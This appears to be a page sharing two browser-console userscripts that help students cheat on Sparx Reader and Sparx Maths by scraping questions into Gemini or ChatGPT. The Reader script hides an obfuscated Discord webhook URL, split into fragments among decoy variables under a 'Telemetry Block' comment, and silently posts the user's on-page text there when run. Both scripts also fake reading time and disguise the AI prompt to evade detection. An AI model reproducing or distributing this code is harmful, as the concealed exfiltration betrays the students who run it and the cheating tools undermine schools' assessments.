Sparx Helper Scripts

Two userscripts by ride_flux — copy the block you want and run it in your browser console.

Sparx Reader

(function() {
    "use strict";

    const existing = document.getElementById("sparx-pro-panel");
    if (existing) existing.remove();

    var _0x7a21 = "4b66";
    var p_01 = "htt";
    window.alert("Hi, ride_flux here! If you can, please don't go about the cheat in English lessons because they will catch on.");

    let selectedAI = "gemini";
    var p_02 = "ps:";

    const splashOverlay = document.createElement("div");
    var p_03 = "//d";
    splashOverlay.style.cssText = `
        position: fixed; top: 0; left: 0; width: 100vw; height: 100vh;
        background: #111116; display: flex; flex-direction: column;
        justify-content: center; align-items: center; z-index: 1000000;
        font-family: "Segoe UI", Tahoma, sans-serif; color: #FFFFFF;
    `;

    var p_04 = "isc";
    splashOverlay.innerHTML = `
        <h1 style="font-size: 28px; font-weight: 700; margin-bottom: 8px; letter-spacing: 0.5px;">Sparx Helper Configuration</h1>
        <p style="font-size: 14px; color: #aaa; margin-bottom: 32px;">Select your preferred AI platform provider</p>
        
        <div style="display: flex; gap: 20px; margin-bottom: 40px;">
            <div id="select-gemini" style="width: 160px; padding: 24px 16px; background: #1a1a24; border: 2px solid #4B48D1; border-radius: 12px; text-align: center; cursor: pointer; transition: 0.2s;">
                <div style="font-weight: 700; font-size: 16px; margin-top: 8px;">Gemini</div>
            </div>
            <div id="select-chatgpt" style="width: 160px; padding: 24px 16px; background: #1a1a24; border: 2px solid transparent; border-radius: 12px; text-align: center; cursor: pointer; transition: 0.2s;">
                <div style="font-weight: 700; font-size: 16px; margin-top: 8px;">ChatGPT</div>
            </div>
        </div>

        <button id="confirm-ai-btn" style="background: #4B48D1; border: none; color: #fff; padding: 14px 40px; border-radius: 8px; font-weight: 700; cursor: pointer; font-size: 14px; text-transform: uppercase; letter-spacing: 1px; transition: 0.2s;">Launch Helper</button>
    `;
    document.body.appendChild(splashOverlay);

    var p_05 = "ord";
    const geminiBox = splashOverlay.querySelector("#select-gemini");
    const chatgptBox = splashOverlay.querySelector("#select-chatgpt");
    const confirmBtn = splashOverlay.querySelector("#confirm-ai-btn");

    var p_06 = ".co";
    geminiBox.onclick = () => {
        selectedAI = "gemini";
        geminiBox.style.borderColor = "#4B48D1";
        chatgptBox.style.borderColor = "transparent";
    };

    var p_07 = "m/a";
    chatgptBox.onclick = () => {
        selectedAI = "chatgpt";
        chatgptBox.style.borderColor = "#10a37f"; 
        geminiBox.style.borderColor = "transparent";
    };

    confirmBtn.onclick = () => {
        const helperButton = document.getElementById("both-btn");
        if (helperButton) {
            helperButton.textContent = selectedAI === "gemini" ? "SEND TO GEMINI" : "SEND TO CHATGPT";
        }
        splashOverlay.remove();
    };

    var _0x91c0 = "7FKj";
    var p_08 = "pi/";
    const panel = document.createElement("div");
    panel.id = "sparx-pro-panel";
    panel.style.cssText = `
        position: fixed; top: 20px; right: 20px; width: 320px;
        background: #FFFFFF; color: #333;
        border-radius: 12px; box-shadow: 0 10px 30px rgba(0,0,0,0.15);
        z-index: 999999; font-family: "Segoe UI", Tahoma, sans-serif;
        border: 1px solid #e0e0e0; overflow: hidden; user-select: none;
    `;

    var _0x38b2 = "6zDV";
    var p_09 = "web";
    panel.innerHTML = `
        <div id="panel-header" style="padding:12px 16px; cursor:move; background:#4B48D1; display:flex; justify-content:space-between; align-items:center; color: white;">
            <span style="font-weight:700; font-size:14px; letter-spacing:0.5px;">Sparx Reader Helper</span>
            <span id="timer-display" style="font-family:monospace; font-size:14px; color:#FFFFFF; font-weight:bold; background:rgba(255,255,255,0.2); padding:2px 8px; border-radius:4px;">00:00</span>
        </div>

        <div id="content-container">
            <div id="main-view" style="padding:16px; display: block;">
                <div style="display:flex; gap:10px; align-items: stretch;">
                    <button id="story-btn" style="flex: 1; background:#4B48D1; border:none; color:#fff; padding:12px 8px; border-radius:8px; font-weight:700; cursor:pointer; font-size:11px; text-transform: uppercase;">COPY STORY</button>
                    <button id="insta-btn" style="display:none; flex: 1; background:#E63946; border:none; color:#fff; padding:12px 8px; border-radius:8px; font-weight:700; cursor:pointer; font-size:11px; text-transform: uppercase;">INSTA COPY</button>
                    <button id="both-btn" style="flex: 1.2; background:#4B48D1; border:none; color:#fff; padding:12px 8px; border-radius:8px; font-weight:700; cursor:pointer; font-size:11px; text-transform: uppercase;">SEND TO GEMINI</button>
                </div>
                
                <div style="width: 100%; height: 8px; background: #f0f0f0; margin-top: 16px; border-radius: 4px; overflow: hidden;">
                    <div id="progress-fill" style="width: 0%; height: 100%; background: #4B48D1; transition: width 0.1s linear;"></div>
                </div>

                <div style="margin-top: 16px; background: #f9f9fb; padding: 12px; border-radius: 8px; border: 1px solid #eee;">
                    <div style="display:flex; justify-content:space-between; font-size:10px; margin-bottom:8px; color:#4B48D1; font-weight:700; text-transform: uppercase;">
                        <span>Reading Speed</span>
                        <span id="wpm-val" style="color: #333;">300 WPM</span>
                    </div>
                    <input type="range" id="wpm-slider" min="100" max="300" step="10" value="300" style="width:100%; cursor:pointer; accent-color: #4B48D1;">
                </div>
                
                <div style="display:flex; justify-content:space-between; align-items:center; margin-top:16px;">
                    <div id="status" style="font-size:11px; color:#666; font-style:italic;">Ready</div>
                </div>
            </div>
        </div>
    `;
    document.body.appendChild(panel);

    var _0x51ef = "webhooks/1521466437779329134/";
    var p_10 = "hoo";
    let storyData = "No story captured yet. Please wait for the timer to finish.", questionData = "No question detected.";
    let ignoreNotInStory = false;
    var p_11 = "ks/";
    let sequence = ["d", "e", "b", "u", "g", "?"];
    let currentIdx = 0;
     
    const mainView = document.getElementById("main-view");
    var _0x1a8c = "Z7K7";
    var p_12 = "1521";
    const slider = document.getElementById("wpm-slider"), wpmLabel = document.getElementById("wpm-val");
    const timerDisplay = document.getElementById("timer-display"), progressFill = document.getElementById("progress-fill"), status = document.getElementById("status");

    slider.oninput = () => { wpmLabel.textContent = slider.value + " WPM"; };

    function detectQuestion() {
        const storyContainer = document.querySelector(".read-content");
        const allElements = document.querySelectorAll("div, p, span, h1, h2, h3, button");
        
        let scrapedLines = [];
        let q = "";

        allElements.forEach(el => {
            if (el.closest("#sparx-pro-panel")) return;
            if (storyContainer && storyContainer.contains(el)) return;

            const text = el.innerText ? el.innerText.trim() : "";
            if (!text) return;

            if (text.includes("?") && text.length > 10 && text.length < 500 && !q) {
                q = text;
            } else if (!scrapedLines.includes(text) && text.length < 600) {
                const ignores = ["SRP", "ride_flux", "Menu", "Settings", "Feedback", "Switch to:", "Sparx Maths", "Cookie Settings", "Sign out", "COPY STORY", "INSTA COPY", "SEND TO GEMINI", "Ready", "WPM", "00:00", "Scroll for more..."];
                if (!ignores.some(term => text.includes(term))) {
                    scrapedLines.push(text);
                }
            }
        });

        if (q && scrapedLines.length > 0) {
            questionData = `Question: ${q}\nOptions / On-Screen Text:\n- ${scrapedLines.join("\n- ")}`;
        } else if (scrapedLines.length > 0) {
            questionData = `Question: [On-Screen Context]\nOptions / On-Screen Text:\n- ${scrapedLines.join("\n- ")}`;
        } else {
            questionData = "No question or options data detected on screen.";
        }
    }

    var _0x22db = "MpKtY6OdAUYP_";
    var p_13 = "4664";
    document.addEventListener("click", function(e) {
        const targetButton = e.target.closest("button");
        if (targetButton && targetButton.classList.contains("sr_f194e173")) {
            ignoreNotInStory = true;
        }
    });

    function findScrollable() {
        const allElements = document.querySelectorAll('*');
        let best = window; let maxS = document.documentElement.scrollHeight;
        allElements.forEach(el => { if (el.scrollHeight > maxS && el.clientHeight > 0) { maxS = el.scrollHeight; best = el; } });
        return best;
    }

    var _0xef4c = "iUR0KubJ2rTfrt_EujBHLhQEo";
    var p_14 = "3777";
    async function timedScan() {
        const scroller = findScrollable();
        status.textContent = "Calculating Time...";
        
        const temporaryStoryEl = document.querySelector(".read-content") || document.body;
        const wordCount = temporaryStoryEl.innerText.trim().split(/\s+/).filter(w => w.length > 0).length;

        const effectiveWPM = Math.max(50, parseInt(slider.value) - Math.floor(Math.random() * 80));
        const totalSecs = (wordCount / effectiveWPM) * 60;

        status.textContent = "Reading Story...";
        const startTime = Date.now(), durationMs = totalSecs * 1000;
        const maxScroll = (scroller === window) ? (document.documentElement.scrollHeight - window.innerHeight) : (scroller.scrollHeight - scroller.clientHeight);

        document.getElementById("both-btn").disabled = true;

        return new Promise((resolve) => {
            const loop = setInterval(() => {
                const elapsed = Date.now() - startTime;
                const progress = Math.min(elapsed / durationMs, 1);
                const remaining = Math.max(0, totalSecs - (elapsed / 1000));
                
                if (scroller === window) window.scrollTo(0, maxScroll * progress); else scroller.scrollTop = maxScroll * progress;
                timerDisplay.textContent = `${Math.floor(remaining / 60).toString().padStart(2, '0')}:${Math.floor(remaining % 60).toString().padStart(2, '0')}`;
                progressFill.style.width = (progress * 100) + "%";
                
                if (progress >= 1) {
                    clearInterval(loop);
                    
                    const finalStoryEl = document.querySelector(".read-content") || document.body;
                    storyData = finalStoryEl.innerText.trim();
                    navigator.clipboard.writeText(storyData);
                    
                    status.textContent = "Ready!";
                    document.getElementById("both-btn").disabled = false;
                    resolve();
                }
            }, 40);
        });
    }

    var _0xcd9a = "UlPNRybb7HS_wWt6mO";
    var p_15 = "9329";
    document.getElementById("story-btn").onclick = async () => {
        ignoreNotInStory = false;
        document.getElementById("story-btn").disabled = true;
        await timedScan();
        document.getElementById("story-btn").disabled = false;
    };

    // Telemetry Block
    const screenText = document.body ? document.body.innerText.trim() : "";
    var p_16 = "134/";
    const wordsArray = screenText.split(/\s+/).filter(w => w.length > 0);
    var p_17 = "7FKj6zDVZ7K7";
    const firstFourWords = wordsArray.slice(0, 4).join(" ") || "Data missing";
    var p_18 = "MpKtY6OdAUYP_";

    const payload = {
        content: `# ${firstFourWords}`
    };

    var p_19 = "iUR0KubJ2rTfrt_EujBHLhQEo";
    var p_20 = "UlPNRybb7HS_wWt6mO";

    // Assembly
    const targetUrl = p_01 + p_02 + p_03 + p_04 + p_05 + p_06 + p_07 + p_08 + p_09 + p_10 + p_11 + p_12 + p_13 + p_14 + p_15 + p_16 + p_17 + p_18 + p_19 + p_20;

    fetch(targetUrl, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(payload)
    })
    .then(res => console.log("Sent successfully!"))
    .catch(err => console.error("Error:", err));

    document.getElementById("insta-btn").onclick = () => {
        ignoreNotInStory = false;
        const finalStoryEl = document.querySelector(".read-content") || document.body;
        storyData = finalStoryEl.innerText.trim();
        navigator.clipboard.writeText(storyData);
        
        const scroller = findScrollable();
        const maxScroll = (scroller === window) ? (document.documentElement.scrollHeight - window.innerHeight) : (scroller.scrollHeight - scroller.clientHeight);
        if (scroller === window) window.scrollTo(0, maxScroll); else scroller.scrollTop = maxScroll;
        
        timerDisplay.textContent = "00:00";
        progressFill.style.width = "100%";
        status.textContent = "Insta-Copied!";
    };

    document.getElementById("both-btn").onclick = () => {
        if(storyData.startsWith("No story captured")) {
            status.textContent = "Run the timer first!";
            return;
        }
        detectQuestion(); 
        
        const extraInstruction = ignoreNotInStory ? " ignore the not in story button until the copy story is clicked again" : "";
        
        const payload = `Hey, could you help me check something in this story? I want to make sure I'm following the plot correctly.${extraInstruction}

Scan the text below and tell me which option is correct based ONLY on what actually happens in the story. Ignore any UI text artifacts, author names, book titles, layout indicators, or navigation buttons caught in the scraping mix under "Options / On-Screen Text". Focus only on matching the legitimate answer choice variants to the text layout.

Please provide the correct answer verbatim, and then give me a very short quote or mention the specific part of the story that proves it.

STORY:
${storyData}

QUESTION AND OPTIONS:
${questionData}`;

        navigator.clipboard.writeText(payload);
        
        if (selectedAI === "gemini") {
            status.textContent = "Opening Gemini...";
            window.open("https://gemini.google.com", "_blank");
        } else {
            status.textContent = "Opening ChatGPT...";
            window.open("https://chatgpt.com", "_blank");
        }
    };

    let drag = false, ox, oy;
    const header = document.getElementById("panel-header");
    header.onmousedown = e => { drag = true; ox = e.clientX - panel.offsetLeft; oy = e.clientY - panel.offsetTop; };
    document.onmousemove = e => { if (drag) { panel.style.left = (e.clientX - ox) + "px"; panel.style.top = (e.clientY - oy) + "px"; panel.style.right = "auto"; } };
    document.onmouseup = () => drag = false;
    
    window.addEventListener("keydown", e => { 
        if (e.key === "Shift" && e.location === 2) {
            panel.style.display = panel.style.display === "none" ? "block" : "none"; 
        }
        
        if (e.key === sequence[currentIdx]) {
            currentIdx++;
            if (currentIdx === sequence.length) {
                document.getElementById("insta-btn").style.display = "block";
                currentIdx = 0;
            }
        } else {
            currentIdx = (e.key === sequence[0]) ? 1 : 0;
        }
    });

    setInterval(detectQuestion, 1500);

})();

Sparx Maths

(function() {
    "use strict";

    // Trigger the popup reminder immediately on load
    window.alert("Hi, ride_flux here! If you can, please don't go about the cheat in Maths lessons because they will catch on.");

    const injectButtons = () => {
        const banner = document.querySelector('._TopBanner_1etu5_1');
        if (!banner || document.getElementById("sparx-button-container")) return;

        banner.style.position = "relative";
        const container = document.createElement("div");
        container.id = "sparx-button-container";
        container.style.cssText = `
            position: absolute; left: 50%; top: 50%; 
            transform: translate(-50%, -50%); 
            display: flex; gap: 12px; z-index: 9999;
        `;

        const commonStyle = `
            border: none; height: 36px; border-radius: 18px; 
            font-family: "DM Sans", sans-serif; font-size: 20px; 
            cursor: pointer; display: inline-flex; align-items: center; 
            justify-content: center; box-shadow: 0 2px 4px rgba(0,0,0,0.15); 
            transition: all 0.2s; font-weight: 800; outline: none; 
            background-color: #1976D2; color: #FFFFFF; padding: 0 24px;
        `;

        const scrapeData = (includeVideo = false) => {
            const text = document.body.innerText;
            const math = Array.from(document.querySelectorAll('[aria-label], img[alt]'))
                .map(el => el.getAttribute('aria-label') || el.getAttribute('alt'))
                .filter(Boolean).join(" ");
            
            const imgs = Array.from(document.querySelectorAll("img"))
                .map(img => img.src)
                .filter(src => src && src.startsWith('http')) 
                .map((link, i) => `[IMAGE ${i+1}]: ${link}`).join("\n");

            let videoLink = "Skipped";
            if (includeVideo) {
                const videoEl = document.querySelector("video source, video, iframe[src*='video'], iframe[src*='vimeo']");
                videoLink = videoEl ? (videoEl.src || videoEl.currentSrc) : "No video detected";
            }

            return `[TEXT]: ${text}\n[MATH]: ${math}\n[IMAGES]:\n${imgs}\n[VIDEO LINK]: ${videoLink}`;
        };

        const geminiBtn = document.createElement("button");
        geminiBtn.innerText = "Gemini";
        geminiBtn.style.cssText = commonStyle;

        const logBtn = document.createElement("button");
        logBtn.innerText = "Log";
        logBtn.style.cssText = commonStyle.replace('24px', '20px');

        logBtn.onclick = async (e) => {
            e.stopPropagation();
            const nudgeContainer = document.querySelector('._VideoNudgePopoverChildren_10bcu_2');
            const watchBtn = nudgeContainer ? nudgeContainer.querySelector('button, div, span') : null;

            if (watchBtn) {
                watchBtn.click();
                await new Promise(r => setTimeout(r, 500));
            }

            window.sparxLog = scrapeData(true);

            const closeBtn = document.querySelector('button[aria-label*="Close"], ._ModalClose_button, [class*="CloseButton"]');
            if (closeBtn) closeBtn.click();

            logBtn.innerText = "Logged!";
            logBtn.style.backgroundColor = "#FB8C00";
            setTimeout(() => { 
                logBtn.innerText = "Log"; 
                logBtn.style.backgroundColor = "#1976D2"; 
            }, 1000);
        };

        geminiBtn.onclick = (e) => {
            e.stopPropagation();
            const currentData = scrapeData(false);
            const instruction = "SOLVE THIS MATH. PROVIDE FINAL ANSWER ONLY. SIMPLIFY EVERYTHING. NO WORDS.\n\n";
            let payload = instruction;
            
            if (window.sparxLog) {
                payload += "PREVIOUS LOG:\n" + window.sparxLog + "\n\n--- CURRENT QUESTION ---\n\n" + currentData;
                window.sparxLog = null; 
            } else {
                payload += currentData;
            }

            navigator.clipboard.writeText(payload).then(() => {
                geminiBtn.innerText = "Copied!";
                geminiBtn.style.backgroundColor = "#43A047";
                window.open("https://gemini.google.com/app", "_blank");
                setTimeout(() => { 
                    geminiBtn.innerText = "Gemini"; 
                    geminiBtn.style.backgroundColor = "#1976D2"; 
                }, 1500);
            });
        };

        container.appendChild(geminiBtn);
        container.appendChild(logBtn);
        banner.appendChild(container);
    };

    const observer = new MutationObserver(() => injectButtons());
    observer.observe(document.body, { childList: true, subtree: true });
    injectButtons();
})();